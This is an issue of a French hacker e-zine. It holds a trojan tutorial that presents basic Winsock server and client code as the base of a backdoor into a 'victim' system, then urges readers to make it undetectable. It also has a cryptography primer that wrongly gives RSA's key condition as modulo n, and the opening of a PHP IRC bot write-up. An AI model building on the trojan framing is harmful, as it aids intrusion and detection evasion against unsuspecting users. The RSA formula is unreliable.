\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka:                                                           ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[   fluxius    ]=\:\ _//     
                                                  \__\________________________/__/ 



              0001001000000100000001001000001000000100010000000000010
              010      __  __           __  _____                 000 
              000     / / / /___ ______/ /_|__  /   _____  ____   001  
              001    / /_/ / __ `/ ___/ //_//_ < | / / _ \/ ___/  010
              000   / __  / /_/ / /__/ ,< ___/ / |/ /  __/ /      000
              000  /_/ /_/\__,_/\___/_/|_/____/|___/\___/_/       001
              010            http://hackever.n0ne.org             000
              0100010001000000100001001000001001000000010000010000100


Introduction :

Un  cheval de troie dit Troyen en d'autre thermes est un programme qui ouvre grand les portes 
de votre systême.

Histoire :
Le nom "Cheval de Troie" provient d'une légende narrée dans l'Iliade (de l'écrivain Homère) Ã  
propos du siêge de la ville de Troie par les Grecs. La légende veut que les Grecs, n'arrivant 
pas Ã  pénétrer  dans les fortifications de la ville, eurent l'idée de construire  un  énorme 
cheval  de  bois  pour  s'y  cacher  en faisant croire qu'ils avaient abandonné le siêge. Les 
troyens  (peuple  de  la ville de Troie), heureux de voir le siêge vide ramenère le cheval de 
bois comme  prix de leur victoire dans les murs de la ville. Cependant le cheval était rempli 
de soldats  cachés qui s'empressèrent d'en sortir Ã  la tombée de la nuit, alors que la ville 
entière était  endormie,  pour  ouvrir les portes de la cité et en donner l'accès au reste de 
l'armée ...

Si vous êtes interessez par le "film"...

Le  cheval  de  troie  peut  causer  pas  mal de soucis : vol de mots de pass, destruction du 
systême... Nous allons vous expliquer  par  étape ce qu'est un troyen et vous donner quelques 
bases pour en programmer  un.  C'est  pas  génial ! :-P.  Ce  tuto  traitera  le  cas   d'une 
programmation sur Windows.

Les bases

Le cheval de troie est ensemble de deux programme : Un Server et Un Client

Le  serveur  est justement le cheval qui va nous permettre d'entrer dans  le  système  de  la 
victime  pour le sacager. Le client lui communiquera avec le serveur pour libérer les soldats 
du Cheval  (Faut bien leur faire prendre l'air).

Attention ! :
Avant  de  réaliser  quoi  que ce soit, je vous préviens simplement que des bases en C++ vous 
seront  nécessaire.  Les  explications  qui  suivent vous permettrons juste de savoir comment 
communique  un  serveur  et  un  client pour attribuer par la suite des fonctions relative au 
hack.

Pour commencer, nous alons réaliser un serveur qui permettra de faire notre client.

Voici un exemple :
  __________________________________________________________________________________
 |                                                                                 | 
 | server.cpp                                                                      |
 |_________________________________________________________________________________| 
________________________________________________________________________________________________
#include <winsock.h>
#include <iostream.h>

void main()
{
WSADATA WSAData;
WSAStartup(MAKEWORD(2,0),&WSAData);
	
SOCKET sock;
SOCKET csock;
SOCKADDR_IN sin;
SOCKADDR_IN csin;

sock = socket(AF_INET, SOCK_STREAM, 0);

sin.sin_addr.s_addr			= INADDR_ANY;
sin.sin_family				= AF_INET;
sin.sin_port				= htons(6667); // Le server ouvre le port 6667

bind(sock, (SOCKADDR *)&sin, sizeof(sin));
listen(sock, 0);

		while(true)
		{
			int sinsize = sizeof(csin);
			if((csock = accept(sock,(SOCKADDR *)&csin,&sinsize)) != INVALID_SOCKET)
			{ // si tout c'est bien passÃ© 
			send(csock,"Welcome on\n82.422.322.1 in port 6667\r\n\r\n",50,0);
			}
        }

closesocket(sock);
WSACleanup();
}
____________________________________________________________________________________________________


Une  Socket  est  une  interface  de  programmation  utilisé chez UNIX. Microsoft lui utilise 
winsock voilÃ d'où vient #include <winsock.h> si vous ne le saviez pas encore.

Maintenant nous avant notre serveur, il ne reste plus qu'Ã  coder notre client.

Et voilÃ  un exemple :
  _____________________________________________________________________________
 |                                                                             |
 |    client.cpp                                                               |
 |_____________________________________________________________________________|
_________________________________________________________________________________________________
 
#include <stdio.h>
#include <iostream.h>
#include <winsock.h>
#include <conio.h> 

void main() 
{
  WSADATA WSAData;
  WSAStartup(MAKEWORD(2,0),&WSAData);
  SOCKADDR_IN sin;
  SOCKET sock;
  char buffer[665];
  sock = socket(AF_INET,SOCK_STREAM,0);
    
  sin.sin_addr.s_addr = inet_addr("82.422.322.1"); // ip de  la victime 
  sin.sin_family      = AF_INET; 
  sin.sin_port        = htons(6667); // Port de communication

  connect(sock, (SOCKADDR *)&sin, sizeof(sin)); // Connection  au serveur
  memset(buffer,0,665);
    int i = recv(sock, buffer, sizeof(buffer),0);
    if (i != false)
    {
    printf("%s",buffer);
    }
getch();
closesocket(sock);
WSACleanup();

getchar();
}

_____________________________________________________________________________________________________


CelÃ  Ã  l'air dêtre un tutorial sur les sockets me direz vous, mais non pas seulement, c'est 
justement  la  base d'un troyen. Les deux codes ci-dessus montre la façon de faire un serveur 
et un  client et Ã  partir de celÃ  vous pourrez ajouter vos fonction selon votre utilisation 
comment  par  exemple "fopen" qui permet de lire et ecrire dans un fichier, en fin tout plein 
de choses.

VoilÃ  maintenant il n'y a pas de secrets sur les troyens en C. Il suffit d'en coder :-P

Pour les débutants
Je vous conseil soit de vous mettre au C ou sinon : Rendre votre troyen précoder, indetectable. 
Good Luck !

  e-zine by ----x[FlUxIuS]x-----> <<<[(-_-)]>>>

                               (c) Hack3ver - All rights reversed.



  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |                                                            \\_  \_ \   \\_ -  : '
 ||`|                                                            \_ \   \\_  \_ \ 1   
 || |Vous etes un vrai hacker et vous pensez etre ben stealth?     \\_  \_ \   \\_ 1  + 
 || |http://ghh.sf.net, Google Hack Honeypot project , Runner en un\_ \   \\_  \_ \ 1   
 ||'|devener un paria today :)                                       \\_  \_ \   \\_  x 
 || |                                                                \_ \   \\_  \_ \  `
 || |                                                                  \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ Google Hack Honeypot Project                                          ]=\:\  |
  \__\__________________________________________________________________________________/ 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[17]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ un affaire de cryptographie   ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka:  ¤hZi7ZlyvWYTma0kOQTy6LgFS0UZN                            ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[     steck    ]=\:\ _//     
                                                  \__\________________________/__/ 


Introduction à la cryptographie

Dans cet article je vais expliquer les bases de la cryptographie. Je ne  vais  pas  détailler 
les algorithmes, je vais juste les citer pour que vous puissiez demander  à  votre ami google 
si vous voulez plus de renseignements.

Tout  d'abord  commençons  par  quelques  définitions pour mettre tout le monde d'accord.  La 
cryptographie est la science de garder des messages secrets, la cryptologie  est  la  branche 
mathématique qui s'en charge, et la cryptanalyse est  la  science  de  retrouver  le  message 
original sans en avoir la clé.

Un texte clair, après chiffrement ou encryption, devient un texte chiffré  ou   cryptogramme. 
Celui ci redeviendra un texte clair après déchiffrement ou décryptage.

Les deux protagonistes qui veulent s'échanger un message sont appelés Alice et Bernard.

La sécurité d'un algorithme ne doit pas dépendre de la non connaissance de cet algorithme, au 
contraire il doit être approuvé et testé par la communauté afin de 
trouver des failles.

On  distingue  deux  types  principaux   d'algorithmes : les algorithmes à clé secrète et les 
algorithmes à clé publique.

LES ALGORITHMES A CLE SECRETE

La même clé est utilisée pour chiffrer et déchiffrer les messages, et doit donc n'être connue 
que par les personnes impliquées. Si une personne avec la clé  obtient  un  message  chiffré, 
elle pourra la déchiffrer sans que les autres personnes ne s'en  rendent  compte. La sécurité 
du message dépend uniquement du nombre de personnes connaissant la clé.

Ce type d'algorithme est le plus souvent utilisé pour le chiffrement de fichiers sur  disque. 
L'ancien standard était  le  DES  (Data  Encryption  Standard),  depuis  peu  un  nouveau l'a 
remplacé, l'AES (Advanced Encryption Standard).

Il y a deux types de chiffrement à clé privée : le chiffrement en continu,  qui  chiffre  bit 
par bit (ou lettre par lettre), et le chiffrement par blocs, qui découpe  le  texte  en blocs 
(souvent 64 bits) et chiffre blocs par blocs (éventuellement en  fonction  du  bloc précédent 
pour plus de sécurité).

Dans  cette  catégorie  on  retrouve  tous  les algorithmes à substitution simple (lettre par 
lettre, comme le code de césar ou la rotation 13), à substitution homophonique  (à  une  même 
lettre correspond plusieurs  lettres  chiffrées),  toutes  leurs  variantes  et  compositions 
(plusieurs substitutions en séries, substitution par blocs de 3,  Vigenère,  ENIGMA...).  Ces 
algorithmes ne cachent pas assez les caractéristiques de  la  langue  utilisée et sont perdus 
face à une attaque statistique (basée sur la fréquence d'apparition des lettres). On retrouve 
aussi les algorithmes à transposition, où c'est juste la place des lettres qui change, et qui 
se cassent aussi très facilement.

Dans les "vrais" algorithmes, outre le DES et l'AES, on peut citer l'IDEA,  Skipjack,  RC5... 
et le masque jetable (utilisation du OU EXCLUSIF, qui est réellement incassable si la clé est 
de la longueur du texte et ne peut pas être devinée... La  génération  des nombres aléatoires 
est cruciale en cryptographie).

On considère actuellement que la taille suffisante des clés secrètes est de 128 ou  256 bits, 
selon les algorithmes.

Voici comment fonctionne en gros DES (AES, dont le vrai nom de l'algorithme est Rijndael, est 
nettement plus compliqué) :

Le texte est découpé en blocs de 64 bits. Après une permutation initiale, le bloc est  divisé 
en deux blocs de 32 bits. Ensuite vient 16 rondes d'une même fonction qui  combine  ces blocs 
avec la clé de 56 bits. Ensuite ces blocs sont rassemblés et  une  dernière permutation donne 
le bloc final.  C'est  le  même  algorithme  qui  est  utilisé  pour  le  chiffrement  et  le 
déchiffrement, en inversant simplement la clé. Les  opérations  dans  la  fonction  sont  des 
décalages de bits, des permutations, des ou exclusifs avec certaines parties de la clé et des 
substitutions.

La sécurité du DES a été testée et approuvée après des années d'études. Il n'y a que  4  clés 
dites faibles qui rendent l'algorithme peu sûr et 60 autres sont semi-faibles.  Mais il reste 
quand même 72 057 594 037 927 872 autres clés tout à fait valables. Une  attaque  pour tester 
toutes  le  clés  ne  devrait  en  fait tester la moitié des clés possibles (2^55 au lieu des 
2^56). En 1993 fut conçue une machine à 1 million  de  dollars  qui  peut  faire  une attaque 
exhaustive contre le DES en 3.5 heures. De nos jours le DES n'est plus utilisé mais une telle 
machine actuellement le ferait en quelques minutes et pour bien moins cher.

Pour améliorer la sécurité du DES il y a eu des variantes comme le DES triple : trois  DES  à 
la suite avec trois clés différentes 

LES ALGORITHMES A CLE PUBLIQUE

Dans ces algorithmes, une clé différente est utilisée pour chiffrer et pour  déchiffrer.  Une 
partie  de  la clé est connue de vous seul, et une partie est publique, accessible  au  monde 
entier, dans un répertoire de clés.

Ainsi  si  quelqu'un veut vous envoyer un message, il le chiffre avec votre clé publique,  et 
vous seul pourra le déchiffrer.

On  peut  également  chiffrer  un  message  avec  sa  clé  privée, et tout le monde pourra le 
déchiffrer.

Ce type d'algorithme permet de résoudre d'autres problèmes liés aux transferts de 
données :
- l'authentification : Si Alice veut envoyer un message à Bernard, avant de le chiffrer  avec 
  la clé publique de Bernard, elle le chiffre avec sa clé privée. Ainsi  Bernard  recevra  un 
  message qu'il déchiffrera avec sa clé privée, puis déchiffrera le message  obtenu  avec  la 
  clé publique d'Alice pour obtenir le message d'origine. Etant donné  que  le  message a été 
  chiffré avec la clé privée d'Alice, il peut être certain que le message provient d'elle. Ce 
  procédé s'appelle Signer le message.
- l'intégrité :  En  signant  son  message,  il  n'y  a que Alice et Bernard qui ont accès au 
  message clair, donc personne ne peut le modifier, car  il  lui  faudrait  posséder  une clé 
  privée.
- le non désaveu : Toujours en signant son message, Alice ne peut  pas  nier  dans  le  futur 
  l'avoir envoyé.

C'est ce type d'algorithmes qui sont utilisés pour les transferts bancaires ou  sur  internet 
(SSL, SSH...), et la longueur des clés respectable est des 2048 bits minimum.

Les  principaux  algorithmes  sont  RSA,  Rabin,  ElGamal,  et  repose sur des impossibilités 
mathématiques (factorisation de produit de grands nombres premiers, calculs de racines carrés 
modulo un nombre composite, calculs de logarithmes discrets...)

Voici le fonctionnement de RSA (Rivest Shamir Adleman) :

prenons deux grands nombres premiers p et q (plus de 100 chiffres chacun)
posons n=p*q et m=(p-1)(q-1) et choisissons e premier avec m.
il suffit enfin de trouver un nombre d vérifiant e*d=1 modulo n
Le couple (n,e) est la clé publique accessible à tout le monde, et (n,d) la clé privée.
Pour chiffrer un message, il faut le découper par blocs (pour éviter d'obtenir au final 
une simple substitution), puis d'appliquer la formule suivante pour chiffrer le bloc B :
C = B^e modulo n
Pour déchiffrer, il suffit d'appliquer :
B = C^d modulo n
Sous ce miracle se cache de l'arithmétique car ces nombres vérifient  
(B^e)^d=B^(e*d)=(B^d)^e=B modulo n, on peut donc également chiffrer avec sa clé privée.


L'avantage  de RSA est que trouver p et q est très facile avec des algorithmes  probabilistes 
de primalité, tant que le nombre n'est pas premier on en génère  aléatoirement  un  autre. Le 
calcul de n et m est très rapide, e aussi avec l'algorithme  d'Euclide,  et d  grâce   à  une 
équation de type bezout. Enfin le calcul de x^y modulo k  se  fait  grâce  à  l'exponentielle 
rapide. Cette méthode est donc très rapide à mettre en  place,  par contre à l'heure actuelle 
il est pratiquement impossible de factoriser n (donc  retrouver  p  et q, nécessaires pour le 
calcul de d). La société RSA offre de l'argent aux  personnes  réussissant  à  factoriser des 
grands nombres, le dernier en date est un nombre  de  200  chiffres : "The  sieving effort is 
estimated to have taken the equivalent of 55  years  on  a  single  2.2  GHz Opteron CPU. The 
matrix  step  reportedly  took  about  3  months  on  a  cluster  of  80  2.2  GHz Opterons." 
[http://www.rsasecurity.com/rsalabs/node.asp?id=2094]


LA CRYPTANALYSE

La  cryptanalyse  doit,  si elle réussi, permettre de trouver soit le texte original, soit la 
clé d'un message chiffré. On suppose donc pour cela que l'espion connaît le fonctionnement de 
l'algorithme.

L'histoire  de  la cryptanalyse est assez longue, avec pas mal de réussites, surtout  pendant 
les  guerres  comme la seconde guerre mondiale, avec la machine allemande Enigma  qui  a  été 
cassée, et qui a joué un rôle dans l'issue de cette guerre.

Il existe plusieurs méthodes, selon ce qu'il possède :
- l'attaque à texte chiffré seulement : l'espion  possède  plusieurs textes chiffrés avec  la 
  même clé, et doit retrouver le texte clair ou la clé.
- l'attaque à texte clair connu : l'espion possède les textes chiffrés et  leur  texte  clair 
  correspondant, il doit retrouver la  clé  ou  un  algorithme  pour  déchiffrer  les  autres 
  messages chiffrés avec la même clé.
- l'attaque à texte clair choisi : l'espion peut obtenir le texte chiffré à partir des textes 
  clairs  qu'il  veut, son but est le même qu'avec le texte clair connu, mais est  bien  plus 
  efficace.
- l'attaque  à  texte  chiffré choisi : l'espion peut choisir de déchiffrer les textes  qu'il 
  veut, et doit retrouver la clé (une sorte de reverse engineering ;)

Les  deux  premières  sont  les  plus courantes, car il est assez facile de deviner certaines 
parties de messages (en-têtes... #define, int pour du code C), ou lorsque  qu'Alice  transmet 
tout ce que lui donne l'espion pour l'envoyer à Bob.

La cryptanalyse est une étape obligatoire dans la vie d'un algorithme de chiffrement :  après 
avoir soumis au monde entier son algorithme, si celui ci n'a pas réussi à  être  cryptanalysé 
on peut supposé que c'est un bon algorithme : énormément d'études  ont  par  exemple  étaient 
faites sur le DES, il faut 2^47 textes clairs choisis pour cryptanalyser  un  DES  classique, 
mais seulement 2^20 en remplaçant les  tables  utilisées  dans  les  rondes  par  des  tables 
aléatoires...

Certains algorithmes se cassent en deux secondes (substitution ou transposition),  alors  que 
d'autres nécessitent de tester toutes les clés possibles, mais une taille suffisante  de  ces 
dernières exclue cette possibilité, même avec des ordinateurs les plus puissants imaginables.

La cryptanalyse est une science très complexe, comprenant beaucoup de méthodes (cryptanalyses 
linéaires, différentielles, ...) et nécessite des bases mathématiques  très  solides  dès que 
les algorithmes sont compliqués.

CONCLUSION

Cet  article  offre  un  petit  tour  d'horizon  du  monde de la cryptographie. Il y a encore 
énormément  de  choses  à  dire,  sur les protocoles, les algorithmes, la stéganographie, les 
fonctions de hachage à sens unique, les générateurs de nombres aléatoires,  la  sécurité  des 
algorithmes et la cryptanalyse réelle… Un autre type de cryptographie est en train de voir le 
jour : la cryptographie quantique,  qui  ne  se  base plus sur des difficultés mathématiques, 
mais sur une impossibilité  physique (cloner des photons). Un protocole de transmission a été 
proposé et fonctionne,  mais  cette technique fait pour le moment face à quelques difficultés 
comme les grandes  distances  et  la  rapidité.  Des  études sont en cours pour pallier à ces 
problèmes, mais le  coût  de  cette  technique la réserve pour le moment aux gouvernements et 
grosses entreprises.

Avant de finir je voudrai vous citer le début de la préface de "Cryptographie appliquée"  (de 
Bruce Schneier), que je recommande fortement à tout ceux que cet  article  a  intéressé : "Il 
existe deux types de cryptographie dans le monde : la cryptographie qui empêche votre  petite 
soeur de lire vos fichiers, et la cryptographie qui empêche les principaux  gouvernements  de 
lire vos fichiers".

Il est évident que pour un petit usage, du DES ou un autre petit algorithme suffira. Pour les 
gouvernements, il ne faut pas oublier qu'ils ont de l'argent et les moyens de casser  pas mal 
de codes. Avant de valider le DES, la NSA (National  Security  Agency  pour  les  incultes) a 
modifié certaines tables définies dans l'algorithme. Personne ne sait  pourquoi,  les  tables 
initiales (par IBM) proposaient le même niveau de sécurité... Je   vous  laisse  allez  à  la 
paranoïa (certains disent que c'est juste par méfiance d'IBM), et j'ajouterai même que la NSA 
embauche les meilleurs mathématiciens et cryptologues du monde... Il ne  faut  pas  non  plus 
oublier que la cryptographie doit faire parti d'une politique complète  de  sécurité : à quoi 
sert le chiffrement de messages si l'espion peut voir votre écran  (TEMPEST par exemple ou de 
simples caméras) ou voir ce que vous tapez au clavier...  N'oubliez  pas que dans le monde de 
la cryptographie, la paranoïa est nécessaire pour survivre...

Steck



  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |                                                            \\_  \_ \   \\_ -  : '
 ||`|                                                            \_ \   \\_  \_ \ 1   
 || |                                                              \\_  \_ \   \\_ 1  + 
 || |                http://hackever.n0ne.org                      \_ \   \\_  \_ \ 1   
 ||'|                                                                \\_  \_ \   \\_  x 
 || |                                                                \_ \   \\_  \_ \  `
 || |                                                                  \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ Membre honnoraire du webring Hack.fr                                  ]=\:\  |
  \__\__________________________________________________________________________________/ 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[18]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ un affaire de bot php         ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka: Et wyzeman reinventa la roue...again                      ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[   Wyzeman    ]=\:\ _//     
                                                  \__\________________________/__/ 



	Pour ceux qui sont tanner de scripter en TCL (the crappy language), dont surtout  moi 
même, j'ai starter un dimanche matin où coder un truc useless etais  une  alternative  tout à 
fait agréable plutot que découter le jour du seigneur à  radiocan,  un  bot en php scriptable 
(hum hum) en php. Un bot programmer avec la philosophie que le  bot  en  tant  que  telle  ne 
devais etre qu'un frame interface entre irc  et  les  scripts  et  que donc par default il ne 
saurait rien faire d'autre que  de  se  connecter sur irc et dexecuter des scripts. Il existe 
sans  doute  beaucoup  de  facon  leet  de  faire  executer  des  scripts  a  un  bot,   mais 
personnellement étant  un  adepte  du "mouais mais ca marche..." j'ai fait tout autrement  et 
j'ai  utilisé  la  méthode  la  plus  lame et la plus simple possible, a chaque évent je fait 
executer lensemble des scripts scanner dans le repertoire de script  par  l'interpreteur  php 
avec une convention au niveau des arguments, et store le  buffer  dans  une  variable qui est 
ensuite analyser par un filtre simple qui recherche  quelque  commande  hardcoder dans le bot 
(cette  parti  pourrais  meme  devenir  scriptables  (word,  des  scripts  analyser  par  des 
scripts!!!)).



	
	Je  décrirais  donc  les  différents  modules  et boutes de code significatif afin de 
permetre de suivre le raisonement du projet du début à la "fin". Le bot  étant  très  réduits 
dans le nombre de ces fonctions officiel fonctionne avec très peu de modules (et utopiquement 
beaucoup de script). Les modules suivants suffise à la  tache :  socket,  irc,  script,  file 
system. Un fichier de configuration est  nescessaire au bot, les scripts tant qua eu pourrons
referer a leur propre fichier de  configuration,  de  plus qu'ils leur sera possible de faire 
appelle a des librairies de fonction ou a des classes d'object si désiré. 


	Modules:
	1) core
	2) socket		
	3) irc
	4) script
	5) file system
		


0) la conf

	bien qu'il y ai peu de chose a dire sur la conf (une conf est une conf  apres  tout), 
mais juste la paster ici risque daider a suivre le reste du code et a meviter  dla  paster 5x 
dans l'article.


<?PHP

$conf['host'] = "us.undernet.org";
$conf['port'] = 6667;	
$conf['ident'] = "shrug";
$conf['realname'] = "just do it";
$conf['nick'] = "Wyzebot";

$conf['chanlist'][0] = "#code.fr";
$conf['chanlist'][1] = "#hack.fr";
$conf['chanlist'][2] = "#linux.fr";


?>

	bon  on comprend vite le principe, non c pas multi network pour l'instant, mais c'est 
dans la todo liste de la v2.0.



1) core

	Le core du bot est relativement simple (tout à l'image de sont ensemble dailleur). il 
ne fait que loader les différents modules et du transfere du buffer de la connection  irc  au 
analyseur qui eux s'occuperont de lancer les scripts de facon conforme. Les seules lignes qui 
ne soit pas des appelles de constructeur dobjet ou des includes  de  fichier  important, sont 
dans un premier temps le bout de code qui lit le repertoire des scripts  afin d'en  faire une 
liste garder dans un array, imédiatement suivie de l'inévitable loop  de lecture et d'analyse 
du socket connecter a irc. 



<?PHP
/*
Wyzebot 1.0 
Projet de: Wyzeman@mindkind.org
but: faire un frame de bot iso IRC scriptable en php.
     le bot devras etre le plus minimaliste possible.
     toute fonction sera dans la mesure du possible
     gerrer par les scripts. 
     
codeur : wyzeman,
*/
set_time_limit(0);

//loading des modules du bot
include("core/socket.php");
include("core/irc.php");
include("core/script.php");
include("core/wash.php");
include("conf/general.conf.php");

//var $scriptlist = array();
//initialisation des objets
echo $conf['host']."\r\n";
echo $conf['port']."\r\n";
$sock = new sock($conf['host'], $conf['port']);
$link=$sock->con($conf['host'],$conf['port']);
$irc = new irc($conf['ident'], $conf['realname'], $conf['nick'], $conf['chanlist']);
$script = new script($conf, $sock, $link);
//listing des scripts present dans /script et 
//garder sous un format array
$wash = new wash();
$scriptlist = $wash->lsfile("scripts/");
for ($x=0;$x<count($scriptlist);$x++)
	{
	echo $scriptlist[$x]."\r\n";
	}
//loop "infini", mise en fonction du bot.
while(1)
	{
	sleep(5);
	//lecture du/des socket(s)
	$buffer = $sock->buffering($link);
	//parsing du RFC IRC et initialisation des scripts
	$irc->analyse($conf['chanlist'], $buffer, $scriptlist, $script, $link, $sock);
 	}
?>


	l'analyse des resultat du socket ou du status irc pourras creer un arret du loop,
comme on pourras voir plus loin dans lanalyse des modules.


2) les sockets 


	Il n'y a rien de tres compliquer a faire des sockets en php de même que puisque  nous 
utilisons des classes, nous auront tout le loisir de  les  améliorer  dans  le  future.  Nous 
pouvons donc nous permetre (une fois de plus) d'être lazy  et  de créer une class socket  php 
qui est en fait un interface d'utilisation de  fopen()  ce  qui fera amplement l"affaire pour 
des connections irc ou proxy.  Comme  validation  nous  nous  contenterons  pour  linstant de 
vérifié si le port est numerique et que le ip ne l'est  pas.  Les  autres  fonctions concerne 
l'initialisation  du  socket en question, sa lecture, sont ecriture et sa fermeture. Voila il 
n'en faut pas plus pour avoir une class socket utilisable en php pour un nombre illimiter  de 
projet utilisant de simple socket TCP. 

<?php

class sock
	{
	//pseudo constructeur	
	function sock($host, $port)
		{
		if ($this->validate($host, $port))
			{	
			return(TRUE);
			}
		else
			{
			die ("config error");
			}
		}
	//verification (pour linstant tres basic des caracteres dentrer
	function validate($host, $port)
  		{
	  	if (is_numeric($port) && !is_numeric($host))
  			{
  			return(TRUE);
  			}
	  	else
  			{
  			return(FALSE);
  			}
  		}
	//connecter un socket		
	function con($host,$port)
		{
		$sock = fsockopen($host, $port);
		if (fsockopen)
			{
			return($sock);
			}
		else 
			{
			return(FALSE);
			}					
		}	
	//disconnecter un socket		
	function discon($sock)
		{
			
			if(fclose($sock))
				{
				return(TRUE);
				}
			else
				{
				return(FALSE);	
				}
		}	
	//lire le socket	
	function buffering($sock)
		{
		$buffer = fread($sock,32000);
		return($buffer);
		}
	//ecrire sur le socket
	function sending($sock, $word)
		{
		if(fwrite($sock, $word) === FALSE)
			{
			return(TRUE);
			}
		else
			{
			return(FALSE);
			}
		} 
		
	}
	

?> 


	ce a quoi nous pouvons quand meme faire quelque améliration, notament au niveau de la 
validation  du  ip et du port. de plus, un support de proxy pourrais  etre  rajouter  afin de 
permetre a notre bot de les utilisers pour se connecter plus  discretement sur irc, ou encore 
a nos scripts pour differentes tache (en utilisant  une  version  modifier  de  cette  classe 
socket ou directement celle ci, a moin que vous ayez votre propre classe socket). 

	Plus concretement cest modifications pourrais etre les suivantes pour  la validation, 
soit verifier si le port est entre 1 et 65535 (j'ai connu tres peu de serveur irc et/ou proxy 
avec un port negatif). De plus nous pourrions verifier  si  les  quatres composant du ip sont 
numérique. Avec ca, on est a peu  pret  sur davoir affaire a un ip. On devrais aussi verifier 
si chaque portion du ip est situer entre 1 et 255. 



	function validate($host, $port)
  		{
		$ip=explode(".",$host);
	  	if ( $port >= 1 && $port <= 65535 && is_numeric($port) && 
                     !is_numeric($host) && count($ip) == 4 && 
                     is_numeric($ip[0]) && is_numeric($ip[1]) && 
                     is_numeric($ip[2]) && is_numeric($ip[3] && $ip[0] >=1 && ip[0] <=255 &&
$ip[1] >=1 && ip[1] <=255 &&
$ip[2] >=1 && ip[2] <=255 &&
$ip[3] >=1 && ip[3] <=255 &&))
  			{
  			return(TRUE);
  			}
	  	else
  			{
  			return(FALSE);
  			}




	évidament  vu  comme  ca ca peu etre platte à débuger dans 2 ans. Alors rendons ca un 
peu plus user friendly.


	function validate($host, $port)
		{
		$flag=FALSE;
		//transmutation du host en array
		$ip=explode(".",$host);
		//validation du port
		if (is_numeric($port))
			{
			if ($port >= 1 && $port <= 65535)
				{
				$flag=TRUE;		
				}
			else
				{
				$flag=FALSE;
				}
			}
		else
			{
